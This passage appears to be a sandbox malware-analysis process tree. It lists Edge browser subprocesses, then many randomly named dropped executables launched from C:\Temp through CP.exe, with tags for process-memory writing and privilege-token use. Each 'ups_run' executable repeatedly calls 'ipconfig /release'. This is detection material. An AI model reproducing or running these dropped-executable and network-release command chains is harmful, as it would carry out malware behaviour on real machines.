  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2792,i,14631956777789030136,17299956606760001346,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:13
      4⤵
      PID:1060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3588,i,3892011624418813705,18345383558415115834,2097152 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:1
      4⤵
      PID:2116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3600,i,13826776201721831773,10935062542664653294,2097152 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:1
      4⤵
      PID:5496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4272,i,8725044414681243459,5116491170131032656,2097152 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:1
      4⤵
      PID:2876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4288,i,8328047248352469988,13443881471061215893,2097152 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:9
      4⤵
      PID:2804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4416,i,16106281418387617571,16575270151981490301,2097152 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:1
      4⤵
      PID:2988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5376,i,4072513954047024728,1699480421378875288,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:14
      4⤵
      PID:3332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5508,i,6141699578874783473,6912395804868200010,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
      4⤵
      PID:2892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5536,i,2734386285442676691,17939442868241362645,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
      4⤵
      PID:6064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6132,i,4140194255540640852,13026671796831043889,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:2428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6132,i,4140194255540640852,13026671796831043889,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,11929655310978712333,11992489880620076229,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      PID:4932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,16328522173228973556,14199175856235422067,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:14
      4⤵
      PID:1184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1372,i,4145542592764554013,9136296498619903263,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=1280 /prefetch:14
      4⤵
      PID:5428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=772,i,13712208108961286321,15905312396031235794,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:14
      4⤵
      PID:5420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1288,i,12932362457469061896,8464047774196991387,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=1284 /prefetch:14
      4⤵
      PID:3532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5200,i,15171825490552695131,7418615751462450537,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=1268 /prefetch:14
      4⤵
      PID:1000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5192,i,15005522770787028312,2663533470465470605,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:14
      4⤵
      PID:5468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6848,i,15121890612679270123,13961972736923481954,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=6820 /prefetch:14
      4⤵
      PID:5028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6652,i,1749604222713134007,15412625713850179713,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=1132 /prefetch:14
      4⤵
      PID:5728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6504,i,6852239739325824301,618457238867350212,262144 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:10
      4⤵
      PID:1324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1320,i,11251323346963812730,1082845414207547464,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=1228 /prefetch:14
      4⤵
      PID:5920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dbwigbvqig.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5732
- - C:\Temp\dbwigbvqig.exe
    C:\Temp\dbwigbvqig.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5524
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3356
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5420
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dbwigbvqig.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1760
- - C:\Temp\i_dbwigbvqig.exe
    C:\Temp\i_dbwigbvqig.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4124
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\yvqnigdyvq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2828
- - C:\Temp\yvqnigdyvq.exe
    C:\Temp\yvqnigdyvq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5676
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2920
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4668
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_yvqnigdyvq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5948
- - C:\Temp\i_yvqnigdyvq.exe
    C:\Temp\i_yvqnigdyvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5400
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifdyspnlfa.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2408
- - C:\Temp\ifdyspnlfa.exe
    C:\Temp\ifdyspnlfa.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5148
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4888
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4100
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifdyspnlfa.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2748
- - C:\Temp\i_ifdyspnlfa.exe
    C:\Temp\i_ifdyspnlfa.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4748
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fzxsqkhfca.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4712
- - C:\Temp\fzxsqkhfca.exe
    C:\Temp\fzxsqkhfca.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3920
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4352
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2036
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fzxsqkhfca.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2352
- - C:\Temp\i_fzxsqkhfca.exe
    C:\Temp\i_fzxsqkhfca.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2940
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\usmkhcxupn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4724
- - C:\Temp\usmkhcxupn.exe
    C:\Temp\usmkhcxupn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5884
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3076
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1000
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_usmkhcxupn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5400
- - C:\Temp\i_usmkhcxupn.exe
    C:\Temp\i_usmkhcxupn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3428
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkhczxusmk.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5656
- - C:\Temp\mkhczxusmk.exe
    C:\Temp\mkhczxusmk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1184
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4748
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkhczxusmk.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3456
- - C:\Temp\i_mkhczxusmk.exe
    C:\Temp\i_mkhczxusmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jhbzurmjeb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1976
- - C:\Temp\jhbzurmjeb.exe
    C:\Temp\jhbzurmjeb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4600
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4412
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5744
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jhbzurmjeb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3328
- - C:\Temp\i_jhbzurmjeb.exe
    C:\Temp\i_jhbzurmjeb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5612
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mgeztrljdb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4988
- - C:\Temp\mgeztrljdb.exe
    C:\Temp\mgeztrljdb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3400
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6128
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5440
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mgeztrljdb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3488
- - C:\Temp\i_mgeztrljdb.exe
    C:\Temp\i_mgeztrljdb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6112
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vtqligbywq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3116
- - C:\Temp\vtqligbywq.exe
    C:\Temp\vtqligbywq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5852
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4524
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4184
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vtqligbywq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2132
- - C:\Temp\i_vtqligbywq.exe
    C:\Temp\i_vtqligbywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5700
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\oigdywtolf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1188
- - C:\Temp\oigdywtolf.exe
    C:\Temp\oigdywtolf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5908
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4968
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2976
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_oigdywtolf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5272
- - C:\Temp\i_oigdywtolf.exe
    C:\Temp\i_oigdywtolf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4188
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\davtnlfdxv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4560
- - C:\Temp\davtnlfdxv.exe
    C:\Temp\davtnlfdxv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5376
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2112
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4660
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_davtnlfdxv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2012
- - C:\Temp\i_davtnlfdxv.exe
    C:\Temp\i_davtnlfdxv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\axsqkicaus.exe ups_run
  2⤵
  PID:4768
- - C:\Temp\axsqkicaus.exe
    C:\Temp\axsqkicaus.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2908
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:768
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_axsqkicaus.exe ups_ins
  2⤵
  PID:4936
- - C:\Temp\i_axsqkicaus.exe
    C:\Temp\i_axsqkicaus.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5188
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xusmkhfcxv.exe ups_run
  2⤵
  PID:4584
- - C:\Temp\xusmkhfcxv.exe
    C:\Temp\xusmkhfcxv.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5532
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1876
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2000
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xusmkhfcxv.exe ups_ins
  2⤵
  PID:1144
- - C:\Temp\i_xusmkhfcxv.exe
    C:\Temp\i_xusmkhfcxv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3368
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxrpkhczxr.exe ups_run
  2⤵
  PID:3940
- - C:\Temp\zxrpkhczxr.exe
    C:\Temp\zxrpkhczxr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4660
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3776
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4688
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxrpkhczxr.exe ups_ins
  2⤵
  PID:6056
- - C:\Temp\i_zxrpkhczxr.exe
    C:\Temp\i_zxrpkhczxr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5696
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\smjhezwurp.exe ups_run
  2⤵
  PID:2156
- - C:\Temp\smjhezwurp.exe
    C:\Temp\smjhezwurp.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4328
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4960
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4104
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_smjhezwurp.exe ups_ins
  2⤵
  PID:5712
- - C:\Temp\i_smjhezwurp.exe
    C:\Temp\i_smjhezwurp.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ojhbzwrojh.exe ups_run
  2⤵
  PID:6032
- - C:\Temp\ojhbzwrojh.exe
    C:\Temp\ojhbzwrojh.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4916
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5612
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1252
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ojhbzwrojh.exe ups_ins
  2⤵
  PID:1280
- - C:\Temp\i_ojhbzwrojh.exe
    C:\Temp\i_ojhbzwrojh.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2940
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbvtolgey.exe ups_run
  2⤵
  PID:3636
- - C:\Temp\jdbvtolgey.exe
    C:\Temp\jdbvtolgey.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4312
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4932
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1504
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbvtolgey.exe ups_ins
  2⤵
  PID:1124
- - C:\Temp\i_jdbvtolgey.exe
    C:\Temp\i_jdbvtolgey.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbwtolgey.exe ups_run
  2⤵
  PID:1236
- - C:\Temp\jdbwtolgey.exe
    C:\Temp\jdbwtolgey.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4168
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4740
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2832
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbwtolgey.exe ups_ins
  2⤵
  PID:1768
- - C:\Temp\i_jdbwtolgey.exe
    C:\Temp\i_jdbwtolgey.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5448
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avtnlfdyvq.exe ups_run
  2⤵
  PID:3864
- - C:\Temp\avtnlfdyvq.exe
    C:\Temp\avtnlfdyvq.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1252
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
